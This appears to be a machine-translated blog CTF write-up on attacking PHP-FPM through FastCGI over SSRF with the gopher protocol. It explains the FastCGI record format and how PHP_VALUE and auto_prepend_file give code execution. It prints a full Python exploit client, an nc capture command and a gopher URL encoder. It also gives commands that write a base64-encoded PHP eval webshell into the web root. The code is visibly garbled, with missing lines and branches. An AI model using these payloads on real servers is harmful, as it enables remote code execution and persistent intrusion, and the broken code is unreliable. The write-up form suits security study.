SSRF--gopher protocol FastCGI



What is CGI

CGI Full name"Universal Gateway Interface"(Common Gateway Interface),be used for HTTP A tool by which a server communicates with program services on other machines, CGI The program must run on the network server.

tradition CGI The main disadvantage of the interface mode is poor performance because each time HTTP When the server encounters dynamic programs, it needs to restart the parser to execute the parsing, and then the results are returned to the server HTTP The server. This is almost unavailable when dealing with high concurrent access, so it was born FastCGI. In addition, traditional CGI The security of the interface mode is also very poor.

What is FastCGI

FastCGI Is a scalable, high-speed HTTP Interface for communication between server and dynamic scripting language( FastCGI Interface in Linux Next is socket(It can be a file socket,It can also be ip socket)),The main advantage is to combine dynamic language with HTTP Separate servers. Most popular HTTP All servers support FastCGI,include Apache,Nginx and lightpd. 

At the same time, FastCGI It is also supported by many scripting languages. One of the more popular scripting languages is PHP. FastCGI Interface mode C/S Architecture, you can HTTP The server is separated from the script parsing server, and one or more script parsing daemons are started on the script parsing server at the same time HTTP Each time the server encounters a dynamic program, it can deliver it directly to the server FastCGI The process executes, and then returns the obtained structure to the browser. This method can make HTTP The server specifically processes static requests or returns the results of the dynamic script server to the client, which improves the performance of the whole application system to a great extent.

What is web server (WEB Middleware)

Web Server generally refers to website server, which refers to the program of some type of computer residing on the Internet, which can process browsers, etc Web The client requests and returns the corresponding response. You can also place website files for the world to browse; you can place data files for the world to download. At present, the three most mainstream Web Server is Apache, Nginx ,IIS. 

Operating principle

1. Process of browser accessing static web pages:

Throughout the visit of the web page, Web container(for example Apache,Nginx)Only as a content distributor, when visiting the home page of a static website, Web The container looks for the home page file in the corresponding directory of the website and sends it to the user's browser

2. Browser access dynamic page

When accessing the home page of a dynamic website, it knows that this page is not a static page according to the container's configuration file, web The container will look for it PHP Parser for processing(Here with Apache take as an example),It will simply process the request and give it to the user PHP interpreter

When Apache Received user response index.php After the request, if you are using CGI,The corresponding will be started CGI Program, corresponding here is PHP Parser for. Next PHP The parser parses php.ini File, initialize the execution environment, then process the request, and then specify CGI Return the processed results in the specified format and exit the process, Web server Then return the result to the browser. This is a complete dynamic PHP Web Access process.

For php, web access order:

Web browser ------ > Web middleware (web server) -- > PHP server ------ > Database

about Operation principle of CGI and FastCGI

The following is the operation principle of Nginx FastCGI

Nginx It does not support direct calling or parsing of external dynamic programs. All external programs (including PHP)Must pass FastCGI Interface. FastCGI Interface in Linux Next is socket(It can be a file socket,It can also be ip socket). To call CGI Program, another one is required FastCGI of wrapper,this wrapper Bind to a fixed socket On, such as ports or files socket. When Nginx take CGI Request sent to this socket When, through FastCGI Interface, wrapper After receiving the request, a new thread is derived, which calls the interpreter or external program to process the script and read the returned data; then, wrapper Then pass the returned data through FastCGI Interface, along fixed socket Pass to Nginx;last, Nginx Send the returned data to the client, which is Nginx+FastCGI The whole operation process of.

About Java: WEB server and application server commonly used in Java _zcccolumn - CSDN blog _applicationserver

What is FPM?

FPM(FastCGI Process manager) for replacing PHP FastCGI Most of the additional functions are very useful for high load websites.

in other words php-fpm yes FastCGI And provides the function of process management. In the process, it includes master and worker Process, which can be viewed through the command when we build the environment later master Process responsibility and Web The server communicates and receives HTTP Request, and then forward the request to worker Process for processing, worker The process is mainly responsible for dynamic execution PHP Code. After processing, return the processing result to Web Server, and then Web The server sends the results to the client.

Principle of FastCGI attack

FastCGI protocol

HTTP Protocol is a protocol for data exchange between browser and server middleware HTTP In terms of the agreement, fastcgi The protocol is server middleware and a language back-end (such as PHP-FPM)Protocol for data exchange.

Fastcgi The protocol consists of multiple record form, record Also header and body First, server middleware combines the two according to fastcgi The rules are encapsulated and sent to the language backend( PHP-FPM),Language backend( PHP-FPM)After decoding, the specific data is obtained, the specified operation is carried out, and the results are encapsulated according to the protocol and returned to the server middleware.

The header of record is fixed with 8 bytes, and the body is specified by contentLength in the header. Its structure is as follows:

typedef struct {
  /* Header */
  unsigned char version; // edition
  unsigned char type; // Type of this record
  unsigned char requestIdB1; // Request id corresponding to this record
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body size
  unsigned char contentLengthB0;
  unsigned char paddingLength; // Extra block size
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;
Language end( PHP-FPM)Resolved FastCGI After the head, get it contentLength,Then in TCP The read size in the stream is equal to contentLength Data, this is body body

Body There is an additional piece of data( Padding),Its length is determined by the length in the head paddingLength Specifies that this is not required for retention Padding When, set its length to 0

Note: one FastCGI record Maximum supported by the structure body The size is 2^16,That is 65536 bytes

Type specifies the function of the record. Because fastcgi a record has a limited size and a single function, we need to transmit multiple records in a TCP stream. The function of each record is marked by type, and the requestId is used as the id of the same request.

In other words, each request will have multiple record s with the same requestId.

List the main type s:

The server middleware communicates with the back-end language (PHP-FPM). The first data packet is a record of type 1. Later, they communicate with each other and send records of type 4, 5, 6 and 7. At the end, they send records of type 2 and 3

When the back-end language receives a record of type 4, it will parse the body of the record into a key value pair according to the corresponding structure, which is the environment variable. The structure of the environment variable is as follows:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

These are actually four structures. As for which structure to use, there are the following rules:

  1. key and value are less than 128 bytes, and FCGI_NameValuePair11 is used

  2. If the key is greater than 128 bytes and the value is less than 128 bytes, use FCGI_NameValuePair41

  3. If the key is less than 128 bytes and the value is greater than 128 bytes, use FCGI_NameValuePair14

  4. If both key and value are greater than 128 bytes, use FCGI_NameValuePair44

For example, user access , if the web directory is / var/www/html, the server middleware (Nginx) will turn the request into the following key value pair:

    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",

This array is actually in PHP$_ Part of the SERVER array, which is the environment variable in PHP. But environment variables do more than just fill in$_ The SERVER array also tells FPM "which PHP file I need to execute".

When the back-end language (PHP-FPM) gets the FastCGI packet sent by Nginx, it parses it to obtain these environment variables. Then, execute script_ The value of filename points to the PHP file, which is / var/www/html/index.php

Vulnerability principle

PHP-FPM unauthorized access vulnerability. PHP-FPM listens to port 9000 by default. If this port is exposed to the public network, we can construct our own FastCGI protocol to communicate with FPM.

At this point, we only need to construct the script ourselves_ With the value of filename, PHP-FPM can execute any suffix file, such as / etc/passwd. However, after PHP 5.3.9, security.limit is added to the default configuration of FPM_ Extensions options

;Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

Files with limited suffixes are allowed to be accessed. The default is php suffix.

To exploit the unauthorized access vulnerability of PHP-FPM, you must first find an existing PHP file. There are two ways to get the existing PHP file name:

Through the system's information collection, blasting and error reporting, a certain PHP File name and path

Find installation PHP Existing by default after PHP Documents, such as/usr/local/lib/php/PEAR.php

But with the file name, we can control the SCRIPT_FILENAME can only execute the files on the target server and cannot execute any code we want to execute, but we can achieve the purpose of arbitrary code execution by constructing a record with type value of 4, that is, setting the environment variable passed to PHP-FPM.

There are two configurations in php.ini, auto_prepend_file and auto_append_file

  • auto_prepend_file tells PHP to include auto before executing the target file_ prepend_ File specified in file
  • auto_append_file tells PHP to include auto after executing the target file_ append_ File refers to the file

If we set auto_prepend_file is php://input (allow_url_include=on), then it is equivalent to including the content of POST before executing any PHP file. Therefore, we only need to put the code to be executed in the FastCGI protocol Body, and they can be executed.

So, how do we set auto_prepend_file value?

This also involves two environment variables of PHP-FPM, PHP_VALUE and PHP_ADMIN_VALUE. These two environment variables are used to set PHP configuration items_ Value can be set to PHP_INI_USER and PHP_INI_ALL options, PHP_ADMIN_VALUE can set all options. (except disable_functions, this option is determined when PHP is loaded, and the functions within the scope will not be loaded directly into the PHP context)

Environment variables finally passed to PHP-FPM:

    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'

So we can execute arbitrary code.

SSRF attacks FastCGI and PHP-FPM

Take the ssrf title on CTFHUB as an example

Method 1:

Using p God's script

We listen to port 9000 locally, then run to print the malicious FastCGI protocol message data on port 9000 locally and save it as exp.txt

# Monitor 9000 ports
nc -lvvp 9000 > exp.txt

# Run ``
python3 /var/www/html/index.php -c "<?php system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk 7Pz4 | base64 -d > /var/www/html/shel1.php');die('-----made by pniu----- ');?>"

Then, gopher protocol is constructed and secondary coding is performed

from urllib import quote
with open('exp.txt') as f:
	pld =
 a="gopher://" + quote(pld)

? url = pass it in and connect the ant sword

python script

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer:

PY2 = True if sys.version_info.major == 2 else False

def bchr(i):
    if PY2:
        return force_bytes(chr(i))
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
        s = str(s)
    return s

class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1


    __FCGI_TYPE_END = 3
    __FCGI_TYPE_DATA = 8


    # request state

    def __init__(self, host, port, timeout, keepalive): = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
            self.sock.connect((, int(self.port)))
        except socket.error as msg:
            self.sock = None
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header =

        if not header:
            return False
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] +=
            if 'paddingLength' in record.keys():
                skiped =['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(, self.port)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    response = client.request(params, content)

Method 2:

gopherus tool directly hits fastcgi. I think this is more convenient

Questions on ctfhub

python --exploit fastcgi
/var/www/html/index.php                 //What you enter here is a known php file
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

Here is the urlencode code


We need secondary coding


Then we can connect with the ant sword, find the root directory, and get the flag

Reference link

Tags: PHP security Web Security

Posted on Tue, 30 Nov 2021 09:02:40 -0500 by David-fethiye